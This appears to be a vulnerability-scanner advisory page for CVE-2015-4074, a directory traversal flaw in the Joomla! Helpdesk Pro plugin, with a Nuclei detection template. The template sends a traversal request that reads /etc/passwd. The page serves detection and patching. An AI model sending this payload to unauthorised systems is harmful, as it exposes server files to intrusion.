Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion

highseverity

7.5CVSS score

56.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server.

Fix

Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFil…
Positive when: matches /root:[x*]:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-4074 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4074

info:
  name: Joomla! Helpdesk Pro plugin <1.4.0 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Directory traversal vulnerability in the Helpdesk Pro plugin before 1.4.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the filename parameter in a ticket.download_attachment task.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server.
  remediation: |
    Upgrade to Joomla! Helpdesk Pro plugin version 1.4.0 or later to fix the local file inclusion vulnerability.
  reference:
    - https://packetstormsecurity.com/files/132766/Joomla-Helpdesk-Pro-XSS-File-Disclosure-SQL-Injection.html
    - https://www.exploit-db.com/exploits/37666/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4074
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4074
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2015-4074
    cwe-id: CWE-22
    epss-score: 0.5651
    epss-percentile: 0.99065
    cpe: cpe:2.3:a:helpdesk_pro_project:helpdesk_pro:*:*:*:*:*:joomla\!:*:*
  metadata:
    max-request: 1
    vendor: helpdesk_pro_project
    product: helpdesk_pro
    framework: joomla\!
  tags: cve2015,cve,lfi,packetstorm,edb,joomla,plugin,helpdesk_pro_project,joomla\!,xss,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

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